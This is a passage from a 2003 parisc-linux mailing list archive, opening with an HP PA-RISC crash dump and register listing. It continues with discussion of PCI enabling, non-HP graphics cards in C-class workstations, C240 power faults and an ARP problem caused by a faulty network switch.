MIOC Status Register         = 0x00001802
MIOC Control Register        = 0xb8050000
MIOC MDERRADD Error Address  =
0x00000008
MIOC DMAERR DMA Error Reg    = 0xfffffeff
MIOC DIOERR IO Error Reg     = 0xfff8006c

Memory Error Log Information:

Timestamp =   Fri Jun  20 10:25:53 GMT 2003    (20:03:06:20:10:25:53)

   No memory errors logged


I/O Module Err
r Log Information:

Timestamp =   Fri Jun  20 10:25:53 GMT 2003    (20:03:06:20:10:25:53)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- --------
-
 1  0xfff80000 Bus Bridge (PCI)                      0x0a 0x00000000 0x00000000



PCI Error Summary

The PCI bridge is in fatal mode.
This may be due to an error in a different component.

===  Analyse  ===
IAOQ = 0x1024ff2c
Func: analyz
_sbs, Off: 4cc, Addr: 0x1024ff2c
1024ff20:	0e a8 10 93 	ldw 4(sr0,r21),r19
1024ff24:	82 79 20 4a 	cmpb,=,n r25,r19,1024ff50 <analyze_sbs+0x4f0>
1024ff28:	08 16 02 57 	copy r22,r23
1024ff2c:	08 0a 02 56 	copy r10,r22

GR0 = 0x00000000

GR1 = 0x1
39f010
Func: hp_hardware_list, Off: 17500, Addr: 0x1039f010

GR2 = 0x1011093c
Func: inb, Off: 0, Addr: 0x1011093c
101108d4:	86 60 20 b0 	cmpib,= 0,r19,10110934 <pcxl_proc_info+0x1a4>
10110930:	4f c8 3f 01 	ldw,mb -80(sp),r8
10110934:	e8 57 0d dd
	b,l 10100028 <_text+0x28>,rp
10110938:	34 42 3f 41 	ldo -60(rp),rp
1011093c <inb>:
1011093c:	6b c2 3f d9 	stw rp,-14(sp)

GR3 = 0x0000ffff

GR4 = 0x00000001

GR5 = 0x00000000

GR6 = 0x0086d000

GR7 = 0x00000004

GR8 = 0x00000000

GR9 
 0x00842010

GR10 = 0x00000000

GR11 = 0x00000000

GR12 = 0x00000000

GR13 = 0x0000001f

GR14 = 0x0000113f

GR15 = 0x00842010

GR16 = 0x000000ff

GR17 = 0x00842810

GR18 = 0x0004e158

GR19 = 0xfff8006c

GR20 = 0x0000000e

GR21 =
0x0000000f

GR22 = 0x1024fef8
Func: analyze_sbs, Off: 498, Addr: 0x1024fef8
1024fef0:	49 88 00 28 	ldw 14(r12),r8
1024fef4:	08 08 02 58 	copy r8,r24
1024fef8:	08 08 02 43 	copy r8,r3
1024fefc:	0d 00 10 88 	ldw 0(sr0,r8),r8

GR23 = 0x00000001


GR24 = 0x00000cfc

GR25 = 0x00000000

GR26 = 0x10079160

GR27 = 0x102f2010
Func: __kstrtab_in_group_p, Off: 8, Addr: 0x102f2010

GR28 = 0x0000fff8

GR29 = 0x00000940

GR30 = 0x15b807c0

GR31 = 0x1011093c
Func: inb, Off: 0, Addr: 0x1011
93c
101108d4:	86 60 20 b0 	cmpib,= 0,r19,10110934 <pcxl_proc_info+0x1a4>
10110930:	4f c8 3f 01 	ldw,mb -80(sp),r8
10110934:	e8 57 0d dd 	b,l 10100028 <_text+0x28>,rp
10110938:	34 42 3f 41 	ldo -60(rp),rp
1011093c <inb>:
1011093c:	6b c2 3f d9 	stw
rp,-14(sp)


Done.
=================================================================================

But elsewhere you said other important thing to do, so do not spend to much
time (I just learn it for my own education :) )

Thanks again for
all,
    Joel


PS: I hope that what you will recieve will be still readable (this new webmail
interface has a strange behaviour, sorry)



---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge
	pb?[was: Re: HP C180 video card]
Date: 24 Jun 2003 09:01:10 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1056441669.14612.2.camel@dhcp22.swansea.linux.org.uk>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions>
	 <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be>
	 <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be>
	 <20030623050450.GA449@dsl2.external.hp.com>
	 <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk>
	 <20030624034442.GA28169@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622535 26987 80.91.229.3 (22 Nov 2014 02:15:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:35 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 02:03:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56BB14877
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 02:03:16 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h5O81FRQ015432;
	Tue, 24 Jun 2003 09:01:16 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h5O81A5J015430;
	Tue, 24 Jun 2003 09:01:10 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030624034442.GA28169@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18736

On Maw, 2003-06-24 at 04:44, Grant Grundler wrote:
> On Mon, Jun 23, 2003 at 12:18:36PM +0100, Matthew Wilcox wrote:
> > x86 typically doesn't need to call pci_enable_device, so people who've
> > never tried their driver on any other box may have missed it.
> 
> Happen to know if that is true for hotplug support?
> ie does x86 requires something like pci_enable_device() for hotplug to work?

Yes



From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MAtrox graphics card and C360
Date: Tue, 24 Jun 2003 18:21:41 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3EF87A95.8010503@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622536 26991 80.91.229.3 (22 Nov 2014 02:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 10:21:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68DA34829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 10:21:05 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001091.dialin.heagmedianet.de [213.157.1.91])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h5OGKmm0019842
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 18:20:56 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18737

Hi there!

Has anyone running a Matrox graphics (especially a Matrox Millenium) in 
his C-class? I found a thread about this theme form January , but I 
wanted to know whether it's possible to get it run or not nowadays...
 
Thanks in advance,
    Rdiger



From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need Replacement was: Matrox graphics card and C360
Date: Tue, 24 Jun 2003 18:06:42 +0100 (IST)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306241727370.26179-100000@sal.ucc.ie>
References: <3EF87A95.8010503@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416622536 26999 80.91.229.3 (22 Nov 2014 02:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 11:06:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02F614829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 11:06:45 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h5OH6iS16691;
	Tue, 24 Jun 2003 18:06:44 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3EF87A95.8010503@hrzpub.tu-darmstadt.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18738

On Tue, 24 Jun 2003, R=FCdiger Scholz wrote:

> Hi there!
>
> Has anyone running a Matrox graphics (especially a Matrox Millenium) in
> his C-class? I found a thread about this theme form January , but I
> wanted to know whether it's possible to get it run or not nowadays...

I tried a ATI Mach64 and 3dfx Voodoo 3 3000 in a C240, they don't work
(no stifb - no wonder - and neither XFree86). Last time I tried was about
2 months ago however.
I don't care that much since I'm using the machine as a headless server.

I haven't heard any success reports of running non-HP graphic cards in
HP PA-RISC machines. Actually the only ones that work are the Visualize-EG
cards and the 'Artist'/(H)CRX-graphics on older 7xx workstations.

I'm pretty sure someone would have posted a mail like 'Whooaaa - it works!'
to the mailing list if the situation has changed in the meantime.


BTW, I have some hardware problems with my C240 lately. When it is cut of
from power (i.e. when there is a power outage or I pull the power plug),
I can turn it on again! I have to wait for some hours until and suddenly
the power button works again. This started to happen a couple of months
ago. I hardly turn the machine of, so I don't care that much, but it's
annoying nevertheless!
Even more strangely the SCSI bay doesn't get any power anymore, so I have
to use an external SCSI disk. This happened about a month ago after I
wanted to install a new SCSI drive. I suppose a fuse or two are broken ...
The power botton works, but none of the LEDs!

Does anybody know what could be the problem?

Well, so now I'm looking for a replacement for my C240 (I'd prefer a B2x00
or C3x00), but I'm low on money (as a PhD student), partly because I
recently bought a PrecisionBook for US $399. Unfortunately I can't use the
PrecisionBook as a replacement for my C240 as I can't connect any
USB-devices to it.

I would sell the PrecisionBook if there is some interest here.

Furthermore, if I can find a cheap replacement for my C240 (in Europe) I'd
dump it and sell it's memory (1GB RAM).

Please contact me if you are interested or know how/where to get
inexpensive HP workstations.


Thanks, Max



From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need Replacement was: Matrox graphics card and C360
Date: 24 Jun 2003 13:34:40 -0400
Organization: mkp.net
Lines: 37
Approved: news@gmane.org
Message-ID: <yq1adc7pefj.fsf@wilson.mkp.net>
References: <Pine.LNX.4.44.0306241727370.26179-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622536 27002 80.91.229.3 (22 Nov 2014 02:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 11:34:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0EC34829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 11:34:49 -0600 (MDT)
Original-Received: from wilson.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id CA55D177F4; Tue, 24 Jun 2003 13:34:47 -0400 (EDT)
Original-Received: (from mkp@localhost)
	by wilson.mkp.net (8.11.6/8.11.6) id h5OHYfS08629;
	Tue, 24 Jun 2003 13:34:41 -0400
X-Authentication-Warning: wilson.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <Pine.LNX.4.44.0306241727370.26179-100000@sal.ucc.ie>
Original-Lines: 36
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18739

>>>>> "M" == M Grabert <xam@cs.ucc.ie> writes:

M> BTW, I have some hardware problems with my C240 lately. When it is
M> cut of from power (i.e. when there is a power outage or I pull the
M> power plug), I can turn it on again! I have to wait for some hours
M> until and suddenly the power button works again. This started to
M> happen a couple of months ago. I hardly turn the machine of, so I
M> don't care that much, but it's annoying nevertheless!  Even more
M> strangely the SCSI bay doesn't get any power anymore, so I have to
M> use an external SCSI disk. This happened about a month ago after I
M> wanted to install a new SCSI drive. I suppose a fuse or two are
M> broken ...  The power botton works, but none of the LEDs!

I've experienced similar things in the past.  One of my C160s is a
notoriously bad booter.

The trick is to make sure that both the disk tray and the motherboard
tray are properly seated and screws tightened.

I tend to put my Cxxx boxes down on the floor - face side down - and
let the motherboard tray fall down the last couple of inches.  That
usually seats things nicely.

Also, make sure your disk tray screw is properly inserted.  The
power/LED assy. as well as disk device power and SCSI data pins are
all hooked up through a single connector at the back of the disk tray.

Give that box a big, tight hug.  That usually fixes it *).

*) Make sure nobody can see you when you are doing this.  More than
 once I have been accused of humping my PA-RISC hardware while
 performing this delicate repair procedure.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need Replacement was: Matrox graphics card and
 C360
Date: Tue, 24 Jun 2003 18:48:23 +0100 (IST)
Lines: 58
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306241836070.26548-100000@sal.ucc.ie>
References: <yq1adc7pefj.fsf@wilson.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622537 27005 80.91.229.3 (22 Nov 2014 02:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 11:48:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FDE24829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 11:48:29 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h5OHmOS17772;
	Tue, 24 Jun 2003 18:48:24 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <yq1adc7pefj.fsf@wilson.mkp.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18740

On 24 Jun 2003, Martin K. Petersen wrote:

> M> BTW, I have some hardware problems with my C240 lately. When it is
> M> cut of from power (i.e. when there is a power outage or I pull the
> M> power plug), I can turn it on again! I have to wait for some hours
> M> until and suddenly the power button works again. This started to
> M> happen a couple of months ago. I hardly turn the machine of, so I
> M> don't care that much, but it's annoying nevertheless!  Even more
> M> strangely the SCSI bay doesn't get any power anymore, so I have to
> M> use an external SCSI disk. This happened about a month ago after I
> M> wanted to install a new SCSI drive. I suppose a fuse or two are
> M> broken ...  The power botton works, but none of the LEDs!
>
> I've experienced similar things in the past.  One of my C160s is a
> notoriously bad booter.
>
> The trick is to make sure that both the disk tray and the motherboard
> tray are properly seated and screws tightened.

You can be sure it is properly seated! I've opened the C240 quite often
and installed/removed many PCI cards and hard drives in the past.
I guess I opened the case at least 30 times in the last years.

You're right, whenever there was a small gap between the motherboard and
the tray/power supply, I didn't work. However it is getting worse each
time I open the C240 to replace something. I think It's not supposed to be
opened so frequently ...

> I tend to put my Cxxx boxes down on the floor - face side down - and
> let the motherboard tray fall down the last couple of inches.  That
> usually seats things nicely.

Hehe, the same idea as me. The machine is really heavy, and this is also
the only way to open/close the machine without breaking your back ;)

> Also, make sure your disk tray screw is properly inserted.  The
> power/LED assy. as well as disk device power and SCSI data pins are
> all hooked up through a single connector at the back of the disk tray.

I thought of getting a multimeter and investigate which of the pins
are on power and which not and whether some capatitors/resitors are
broken. I gave up the idea since it is really difficult to get access
to the inside of the workstation while it is running :(

> Give that box a big, tight hug.  That usually fixes it *).

This one is a new idea, will try it ;)

> *) Make sure nobody can see you when you are doing this.  More than
>  once I have been accused of humping my PA-RISC hardware while
>  performing this delicate repair procedure.

Unfortunately I tried all other good ideas/hints of you before,

Thanks nonetheless
    Max



From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ARP resolution trouble
Date: Tue, 24 Jun 2003 22:15:59 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <yam9305.2982.147282904@esteban.rebellion>
References: <1056279139.2075.6.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622537 27007 80.91.229.3 (22 Nov 2014 02:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 15:14:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from esteban.rebellion (f11v-4-204.d1.club-internet.fr [213.44.163.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18C9D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 15:14:59 -0600 (MDT)
Original-Received: from x-plorer.rebellion
	([192.168.10.1] helo=rebellion ident=badmax)
	by esteban.rebellion with smtp (Exim 3.36 #1 (Debian))
	id 19Uv7x-00018m-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 23:14:57 +0200
In-Reply-To: <1056279139.2075.6.camel@dhcp22.swansea.linux.org.uk>
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18741

Hello

On 22-juin-03, you wrote:

| > On Sul, 2003-06-22 at 09:17, baddy@free.fr wrote:
| >>    - this request is not see at all by the B132L which already have
| >> the
| >>    mac address of the host in his mac address table (I think it is
| >> because
| >>    the B132L keep it from a previous trafic).
| > 
| > Sounds like you have a buggy bridge somewhere. Some vendors can't read
| > the specs and drop rather than flood unknown mac addresses. This breaks
| > stuff just as you describe.
| > 

Thanks Alan it was effectively my Cabletron switch the faulty device. I
plugged
every host on a 3Com switch and everythink look good.

The most strange is that this switch was working perfectly for one year and
the
B132L was the only host affected by the bug (I never encountered this bug
with
the other host).
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ARP resolution trouble
Date: 24 Jun 2003 22:38:24 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1056490704.1223.12.camel@dhcp22.swansea.linux.org.uk>
References: <yam9305.2982.147282904@esteban.rebellion>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622537 27011 80.91.229.3 (22 Nov 2014 02:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bad Max <badmax@club-internet.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 15:43:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (unknown [81.2.110.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FF504829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 15:43:09 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h5OLctMN001244;
	Tue, 24 Jun 2003 22:39:15 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h5OLcOv0001242;
	Tue, 24 Jun 2003 22:38:24 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <yam9305.2982.147282904@esteban.rebellion>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18742

